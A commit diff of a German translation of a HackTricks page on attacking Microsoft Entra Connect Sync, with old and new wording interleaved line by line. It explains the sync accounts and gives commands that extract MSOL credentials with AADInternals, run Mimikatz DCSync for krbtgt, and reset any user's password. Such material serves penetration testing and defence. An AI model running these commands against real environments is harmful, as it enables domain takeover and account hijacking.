Translated ['', 'src/pentesting-cloud/azure-security/az-lateral-movement

This commit is contained in:
Translator
2025-08-25 21:27:31 +00:00
parent 7596d9e5d6
commit 6719720085

View File

@@ -2,63 +2,64 @@
{{#include ../../../banners/hacktricks-training.md}}
## Grundinformationen
## Grundlegende Informationen
[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect Synchronisierungsdienste (Microsoft Entra Connect Sync) sind ein Hauptbestandteil von Microsoft Entra Connect. Es kümmert sich um alle Vorgänge, die mit der Synchronisierung von Identitätsdaten zwischen Ihrer lokalen Umgebung und Microsoft Entra ID verbunden sind.
[Aus der Dokumentation:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) ist eine Hauptkomponente von Microsoft Entra Connect. Es übernimmt alle Operationen, die mit der Synchronisierung von Identitätsdaten zwischen Ihrer On-Premises-Umgebung und Microsoft Entra ID zusammenhängen.
Der Sync-Dienst besteht aus zwei Komponenten: der On-Premises-Komponente **Microsoft Entra Connect Sync** und der Dienstseite in Microsoft Entra ID, genannt **Microsoft Entra Connect Sync service**.
Um ihn zu nutzen, muss der **`Microsoft Entra Connect Sync`** Agent auf einem Server in Ihrer AD-Umgebung installiert werden. Dieser Agent übernimmt die Synchronisierung von der AD-Seite.
Um es zu verwenden, muss der **`Microsoft Entra Connect Sync`** Agent auf einem Server in Ihrer AD-Umgebung installiert werden. Dieser Agent wird sich um die Synchronisierung von der AD-Seite kümmern.
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
Die **Connect Sync** ist im Grunde die "alte" Azure-Methode, um **Benutzer von AD in Entra ID zu synchronisieren.** Die neue empfohlene Methode ist die Verwendung von **Entra Cloud Sync**:
Der **Connect Sync** ist im Grunde der "alte" Azure-Weg, um **Benutzer aus AD in Entra ID zu synchronisieren.** Der neue empfohlene Weg ist die Nutzung von **Entra Cloud Sync**:
{{#ref}}
az-cloud-sync.md
{{#endref}}
### Generierte Prinzipien
### Erstellte Principals
- Das Konto **`MSOL_<installationID>`** wird automatisch im lokalen AD erstellt. Dieses Konto erhält eine Rolle für **Directory Synchronization Accounts** (siehe [Dokumentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), was bedeutet, dass es **Replikationsberechtigungen (DCSync) im lokalen AD** hat.
- Das bedeutet, dass jeder, der dieses Konto kompromittiert, in der Lage sein wird, die lokale Domäne zu kompromittieren.
- Ein verwaltetes Dienstkonto **`ADSyncMSA<id>`** wird im lokalen AD ohne besondere Standardberechtigungen erstellt.
- In Entra ID wird der Dienstprinzipal **`ConnectSyncProvisioning_ConnectSync_<id>`** mit einem Zertifikat erstellt.
- Das Konto **`MSOL_<installationID>`** wird automatisch in der On-Prem-AD erstellt. Dieses Konto erhält die Rolle **Directory Synchronization Accounts** (siehe [Dokumentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), was bedeutet, dass es **Replikations(DCSync)Berechtigungen in der On-Prem-AD** hat.
- Das bedeutet, dass jede Person, die dieses Konto kompromittiert, in der Lage sein wird, die On-Prem-Domäne zu kompromittieren.
- Ein Managed Service Account **`ADSyncMSA<id>`** wird in der On-Prem-AD erstellt, ohne besondere Standardberechtigungen.
- In Entra ID wird der Service Principal **`ConnectSyncProvisioning_ConnectSync_<id>`** mit einem Zertifikat erstellt.
## Passwörter synchronisieren
### Passwort-Hash-Synchronisierung
### Password Hash Synchronization
Diese Komponente kann auch verwendet werden, um **Passwörter von AD in Entra ID zu synchronisieren**, sodass Benutzer ihre AD-Passwörter verwenden können, um sich bei Entra ID anzumelden. Dazu muss die Passwort-Hash-Synchronisierung im Microsoft Entra Connect Sync-Agenten, der auf einem AD-Server installiert ist, aktiviert werden.
Diese Komponente kann auch verwendet werden, um **Passwörter aus AD in Entra ID zu synchronisieren**, sodass Benutzer ihre AD-Passwörter für die Anmeldung bei Entra ID verwenden können. Dazu muss die Passwort-Hash-Synchronisierung im Microsoft Entra Connect Sync-Agent auf einem AD-Server aktiviert werden.
[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Passwort-Hash-Synchronisierung** ist eine der Anmeldemethoden, die verwendet werden, um hybride Identität zu erreichen. **Azure AD Connect** synchronisiert einen Hash, des Hashes, des Passworts eines Benutzers von einer lokalen Active Directory-Instanz zu einer cloudbasierten Azure AD-Instanz.
[Aus der Dokumentation:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Password hash synchronization** ist eine der Anmeldemethoden, die für hybride Identität verwendet werden. **Azure AD Connect** synchronisiert einen Hash des Hashes eines Benutzerpassworts von einem On-Premises Active Directory in eine cloudbasierte Azure AD-Instanz.
Im Grunde werden alle **Benutzer** und ein **Hash der Passwort-Hashes** von der lokalen AD zu Azure AD synchronisiert. Allerdings werden **Klartext-Passwörter** oder die **ursprünglichen** **Hashes** nicht an Azure AD gesendet.
Grundsätzlich werden alle **Benutzer** und ein **Hash der PasswortHashes** vom On-Prem nach Azure AD synchronisiert. Allerdings werden **Klartextpasswörter** oder die **ursprünglichen** **Hashes** nicht an Azure AD gesendet.
Die **Hash-Synchronisierung** erfolgt alle **2 Minuten**. Standardmäßig werden jedoch **Passwortablauf** und **Kontoablauf** **nicht synchronisiert** in Azure AD. Ein Benutzer, dessen **lokales Passwort abgelaufen ist** (nicht geändert), kann weiterhin **auf Azure-Ressourcen zugreifen**, indem er das alte Passwort verwendet.
Die **Hash-Synchronisierung** erfolgt alle **2 Minuten**. Standardmäßig werden jedoch **Passwortablauf** und **Accountablauf** nicht nach Azure AD synchronisiert. Ein Benutzer, dessen **On-Prem-Passwort abgelaufen** ist (nicht geändert wurde), kann weiterhin mit dem alten Passwort auf **Azure-Ressourcen** zugreifen.
Wenn ein lokaler Benutzer auf eine Azure-Ressource zugreifen möchte, erfolgt die **Authentifizierung in Azure AD**.
> [!NOTE]
> Standardmäßig werden Benutzer bekannter privilegierter Gruppen wie Domain Admins, die das Attribut **`adminCount` auf 1** gesetzt haben, aus Sicherheitsgründen nicht mit Entra ID synchronisiert. Andere Benutzer, die Teil privilegierter Gruppen ohne dieses Attribut sind oder denen direkt hohe Rechte zugewiesen wurden, **können jedoch synchronisiert werden**.
> [!HINWEIS]
> Standardmäßig werden Benutzer bekannter privilegierter Gruppen wie Domain Admins mit dem Attribut **`adminCount` auf 1 nicht synchronisiert** mit Entra ID aus Sicherheitsgründen. Andere Benutzer, die Teil privilegierter Gruppen ohne dieses Attribut sind oder die direkt hohe Berechtigungen zugewiesen bekommen haben, **können synchronisiert werden**.
### Password Writeback
### Passwort-Rückschreibung
Diese Konfiguration erlaubt es, **Passwörter aus Entra ID in AD zu synchronisieren**, wenn ein Benutzer sein Passwort in Entra ID ändert. Beachten Sie, dass für das Funktionieren des password writeback der automatisch in AD erstellte Benutzer `MSOL_<id>` [weitere Berechtigungen erhalten muss, wie in der Dokumentation angegeben](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback), damit er die **Passwörter beliebiger Benutzer im AD ändern kann**.
Diese Konfiguration ermöglicht es, **Passwörter von Entra ID in AD zu synchronisieren**, wenn ein Benutzer sein Passwort in Entra ID ändert. Beachten Sie, dass für die Passwort-Rückschreibung der automatisch im AD generierte Benutzer `MSOL_<id>` [mehr Berechtigungen benötigt, wie in den Dokumenten angegeben](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback), damit er **die Passwörter jedes Benutzers im AD ändern kann**.
Das ist besonders interessant, um das AD von einem kompromittierten Entra ID aus zu gefährden, da Sie das Passwort von "fast" jedem Benutzer ändern können.
Dies ist besonders interessant, um das AD von einem kompromittierten Entra ID zu kompromittieren, da Sie in der Lage sein werden, das Passwort von "fast" jedem Benutzer zu ändern.
Domain-Admins und andere Benutzer, die zu einigen privilegierten Gruppen gehören, werden nicht repliziert, wenn die Gruppe das Attribut **`adminCount` auf 1** hat. Andere Benutzer, denen innerhalb des AD hohe Berechtigungen zugewiesen wurden, ohne Teil dieser Gruppen zu sein, könnten jedoch ihr Passwort geändert bekommen. Zum Beispiel:
Domain-Administratoren und andere Benutzer, die zu einigen privilegierten Gruppen gehören, werden nicht repliziert, wenn die Gruppe das **`adminCount`-Attribut auf 1** hat. Aber andere Benutzer, die direkt hohe Berechtigungen im AD zugewiesen bekommen haben, ohne zu einer dieser Gruppen zu gehören, könnten ihr Passwort geändert bekommen. Zum Beispiel:
- Benutzer, die direkt hohe Berechtigungen zugewiesen bekommen haben.
- Benutzer aus der **`DNSAdmins`**-Gruppe.
- Benutzer aus der Gruppe **`Group Policy Creator Owners`**, die GPOs erstellt und ihnen OUs zugewiesen haben, werden in der Lage sein, die GPOs, die sie erstellt haben, zu ändern.
- Benutzer aus der **`Cert Publishers Group`**, die Zertifikate in Active Directory veröffentlichen können.
- Benutzer aus jeder anderen Gruppe mit hohen Berechtigungen ohne das **`adminCount`-Attribut auf 1**.
- Benutzer, denen direkt hohe Privilegien zugewiesen wurden.
- Benutzer aus der **`DNSAdmins`** Gruppe.
- Benutzer aus der Gruppe **`Group Policy Creator Owners`**, die GPOs erstellt und sie OUs zugewiesen haben, können die von ihnen erstellten GPOs ändern.
- Benutzer aus der **`Cert Publishers Group`**, die Zertifikate ins Active Directory veröffentlichen können.
- Benutzer jeder anderen Gruppe mit hohen Privilegien, die nicht das Attribut **`adminCount` auf 1** haben.
## Pivoting AD --> Entra ID
### Auflisten von Connect Sync
### Connect Sync enumerieren
Überprüfen Sie die Benutzer:
Auf Benutzer prüfen:
```bash
# Check for the users created by the Connect Sync
Install-WindowsFeature RSAT-AD-PowerShell
@@ -76,25 +77,25 @@ $searcher.FindAll()
$searcher.Filter = "(samAccountName=Sync_*)"
$searcher.FindAll()
```
Überprüfen Sie die **Connect Sync-Konfiguration** (falls vorhanden):
Überprüfe die **Connect Sync Konfiguration** (falls vorhanden):
```bash
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
# Check if password sychronization is enabled, if password and group writeback are enabled...
```
### Finden der Passwörter
Die Passwörter des **`MSOL_*`** Benutzers (und des **Sync\_\*** Benutzers, falls erstellt) sind **in einem SQL-Server** auf dem Server gespeichert, auf dem **Entra ID Connect installiert ist.** Administratoren können die Passwörter dieser privilegierten Benutzer im Klartext extrahieren.\
Die Passwörter des **`MSOL_*`** Users (und des **Sync\_\*** Users, falls erstellt) werden in einem **SQL-Server** auf dem Server gespeichert, auf dem **Entra ID Connect** installiert ist. Admins können die Passwörter dieser privilegierten Benutzer im Klartext extrahieren.\
Die Datenbank befindet sich in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
Es ist möglich, die Konfiguration aus einer der Tabellen zu extrahieren, wobei eine verschlüsselt ist:
Es ist möglich, die Konfiguration aus einer der Tabellen zu extrahieren, wobei eine davon verschlüsselt ist:
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
Die **verschlüsselte Konfiguration** ist mit **DPAPI** verschlüsselt und enthält die **Passwörter des `MSOL_*`** Benutzers in on-prem AD und das Passwort von **Sync\_\*** in AzureAD. Daher ist es möglich, durch das Kompromittieren dieser Privilegien zu AD und AzureAD zu gelangen.
Die **verschlüsselte Konfiguration** ist mit **DPAPI** verschlüsselt und enthält die **Passwörter des `MSOL_*`** Users im on-prem AD und das Passwort von **Sync\_\*** in AzureAD. Daher ermöglicht ein Kompromittieren dieser Konten privesc zu AD und AzureAD.
Sie finden eine [vollständige Übersicht darüber, wie diese Anmeldeinformationen gespeichert und entschlüsselt werden, in diesem Vortrag](https://www.youtube.com/watch?v=JEIR5oGCwdg).
Sie finden eine [vollständige Übersicht darüber, wie diese Anmeldedaten gespeichert und entschlüsselt werden, in diesem Vortrag](https://www.youtube.com/watch?v=JEIR5oGCwdg).
### Missbrauch von MSOL\_*
### Missbrauch von MSOL\_\*
```bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
@@ -112,34 +113,34 @@ runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
```
> [!WARNING]
> Frühere Angriffe haben das andere Passwort kompromittiert, um sich dann mit dem Entra ID-Benutzer `Sync_*` zu verbinden und dann Entra ID zu kompromittieren. Dieser Benutzer existiert jedoch nicht mehr.
> Vorherige Angriffe kompromittierten das andere Passwort, um sich dann mit dem Entra ID-Benutzer namens `Sync_*` zu verbinden und anschließend Entra ID zu kompromittieren. Dieser Benutzer existiert jedoch nicht mehr.
### Missbrauch von ConnectSyncProvisioning_ConnectSync\_<id>
Diese Anwendung wird erstellt, ohne dass ihr Entra ID- oder Azure-Managementrollen zugewiesen sind. Sie hat jedoch die folgenden API-Berechtigungen:
Diese Anwendung wird erstellt, ohne dass ihr Entra ID- oder Azure-Management-Rollen zugewiesen sind. Sie hat jedoch die folgenden API-Berechtigungen:
- Microsoft Entra AD Synchronization Service
- `ADSynchronization.ReadWrite.All`
- Microsoft Passwortzurücksetzungsdienst
- Microsoft password reset service
- `PasswordWriteback.OffboardClient.All`
- `PasswordWriteback.RefreshClient.All`
- `PasswordWriteback.RegisterClientVersion.All`
Es wird erwähnt, dass der SP dieser Anwendung weiterhin verwendet werden kann, um einige privilegierte Aktionen über eine nicht dokumentierte API durchzuführen, aber bisher wurde afaik kein PoC gefunden.\
In jedem Fall wäre es interessant, weiter zu erkunden, wie man das Zertifikat findet, um sich als dieser Dienstprinzipal anzumelden und zu versuchen, es auszunutzen.
Es wird erwähnt, dass der SP dieser Anwendung weiterhin verwendet werden kann, um über eine undokumentierte API einige privilegierte Aktionen durchzuführen, aber soweit mir bekannt wurde bisher kein PoC gefunden. In jedem Fall — falls das möglich ist — wäre es interessant, weiter zu untersuchen, wie man das Zertifikat findet, sich als diesen service principal anmeldet und versucht, es zu missbrauchen.
Dieser [Blogbeitrag](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) wurde kurz vor der Umstellung von der Verwendung des Benutzers `Sync_*` auf diesen Dienstprinzipal veröffentlicht und erklärte, dass das Zertifikat auf dem Server gespeichert war und es möglich war, es zu finden, PoP (Proof of Possession) davon zu generieren und ein Token zu erstellen, und damit in der Lage zu sein, ein neues Zertifikat für den Dienstprinzipal hinzuzufügen (weil ein **Dienstprinzipal** sich immer selbst neue Zertifikate zuweisen kann) und es dann zu verwenden, um als SP persistent zu bleiben.
Dieser [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) wurde kurz nach der Umstellung von der Verwendung des `Sync_*`-Benutzers auf diesen service principal veröffentlicht und erklärte, dass das Zertifikat auf dem Server gespeichert war und es möglich war, es zu finden, einen PoP (Proof of Possession) daraus zu erzeugen und ein Graph-Token zu erstellen, und damit ein neues Zertifikat zum service principal hinzuzufügen (weil ein **service principal** sich immer neue Zertifikate zuweisen kann) und es anschließend zur Persistenz als SP zu nutzen.
Um diese Aktionen durchzuführen, sind die folgenden Tools veröffentlicht: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
Um diese Aktionen durchzuführen, wurden die folgenden Tools veröffentlicht: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
Nach meiner Erfahrung wird das Zertifikat nicht mehr an dem Ort gespeichert, an dem das vorherige Tool danach gesucht hat, und daher funktioniert das Tool nicht mehr. Weitere Recherchen könnten erforderlich sein.
Laut [this question](https://github.com/hotnops/ECUtilities/issues/1#issuecomment-3220989919) muss man, um das Zertifikat zu finden, das Tool aus einem Prozess heraus ausführen, der **den Token des Prozesses `miiserver` gestohlen hat**.
### Missbrauch von Sync\_\* [VERALTET]
### Missbrauch von Sync\_\* [DEPRECATED]
> [!WARNING]
> Früher wurde ein Benutzer namens `Sync_*` in Entra ID mit sehr sensiblen Berechtigungen erstellt, die es ermöglichten, privilegierte Aktionen wie das Ändern des Passworts eines beliebigen Benutzers oder das Hinzufügen einer neuen Berechtigung zu einem Dienstprinzipal durchzuführen. Ab Januar 2025 wird dieser Benutzer jedoch standardmäßig nicht mehr erstellt, da jetzt die Anwendung/SP **`ConnectSyncProvisioning_ConnectSync_<id>`** verwendet wird. Er könnte jedoch in einigen Umgebungen weiterhin vorhanden sein, daher lohnt es sich, danach zu suchen.
> Früher wurde in Entra ID ein Benutzer namens `Sync_*` mit sehr sensiblen Berechtigungen angelegt, die es erlaubten, privilegierte Aktionen durchzuführen, wie z. B. das Passwort beliebiger Benutzer zu ändern oder eine neue Anmeldeinformation zu einem service principal hinzuzufügen. Seit Jan2025 wird dieser Benutzer jedoch nicht mehr standardmäßig erstellt, da jetzt die Application/SP **`ConnectSyncProvisioning_ConnectSync_<id>`** verwendet wird. Er kann jedoch in einigen Umgebungen weiterhin vorhanden sein, daher lohnt sich eine Prüfung.
Die Kompromittierung des **`Sync_*`** Kontos ermöglicht es, das **Passwort** eines beliebigen Benutzers (einschließlich globaler Administratoren) zurückzusetzen.
Durch Kompromittierung des Kontos **`Sync_*`** ist es möglich, das **Passwort** beliebiger Benutzer (einschließlich Global Administrators) zurückzusetzen.
```bash
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
Import-Module AADInternals
@@ -163,7 +164,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
```
Es ist auch möglich, **die Passwörter von nur Cloud**-Benutzern zu **ändern** (auch wenn das unerwartet ist).
Es ist auch möglich, **nur die Passwörter von Cloud-Benutzern zu ändern** (auch wenn das unerwartet ist)
```bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
@@ -172,23 +173,23 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj
# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
```
Es ist auch möglich, das Passwort dieses Benutzers zu dumpen.
Es ist außerdem möglich, das Passwort dieses Benutzers auszulesen.
> [!CAUTION]
> Eine andere Option wäre, **privilegierte Berechtigungen für ein Dienstprinzipal zuzuweisen**, was der **Sync**-Benutzer **berechtigt** ist zu tun, und dann **auf dieses Dienstprinzipal zuzugreifen** als eine Möglichkeit der Privilegieneskalation.
> Eine weitere Option wäre, **einem service principal privilegierte Berechtigungen zuzuweisen**, welche der **Sync**-Benutzer **Berechtigungen** dazu hat, und dann **auf dieses service principal zuzugreifen** als Möglichkeit zum privesc.
### Nahtloses SSO
### Seamless SSO
Es ist möglich, nahtloses SSO mit PHS zu verwenden, das anfällig für andere Missbräuche ist. Überprüfen Sie es in:
Es ist möglich, Seamless SSO mit PHS zu verwenden, was für weitere Missbrauchsarten anfällig ist. Siehe dazu:
{{#ref}}
az-seamless-sso.md
{{#endref}}
## Pivotierung Entra ID --> AD
## Pivoting Entra ID --> AD
- Wenn das Passwort-Writeback aktiviert ist, können Sie **das Passwort eines beliebigen Benutzers im AD** ändern, der mit Entra ID synchronisiert ist.
- Wenn das Gruppen-Writeback aktiviert ist, können Sie **Benutzer zu privilegierten Gruppen** in Entra ID hinzufügen, die mit dem AD synchronisiert sind.
- Wenn password writeback aktiviert ist, können Sie **das Passwort jedes Benutzers im AD ändern**, der mit Entra ID synchronisiert ist.
- Wenn groups writeback aktiviert ist, können Sie **Benutzer zu privilegierten Gruppen hinzufügen** in Entra ID, die mit dem AD synchronisiert sind.
## Referenzen